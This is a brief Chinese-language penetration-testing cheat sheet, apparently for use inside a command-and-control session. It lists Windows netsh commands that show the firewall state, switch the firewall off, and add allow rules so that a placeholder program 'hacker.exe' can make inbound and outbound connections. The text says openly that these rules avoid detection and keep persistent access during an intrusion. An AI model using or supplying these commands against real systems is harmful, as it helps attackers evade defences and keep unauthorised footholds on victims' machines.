查看防火墙是否开启
shell netsh firewall show state
关闭防火墙
shell netsh firewall set opmode disable
查看防火墙配置
shell netsh firewall show config
在渗透过程中,要是直接关闭了用户的防火墙是很容易被发现的事情,我们可以单独为我们后期的权限维持做一个规则
shell netsh firewall add allowedprogram c:\hacker.exe "allownc" enable
这里我并没有hacker.exe文件
允许指定的程序进行全部的连接
shell netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\hacker.exe"
允许指定程序退出,命令如下
shell netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \hacker.exe"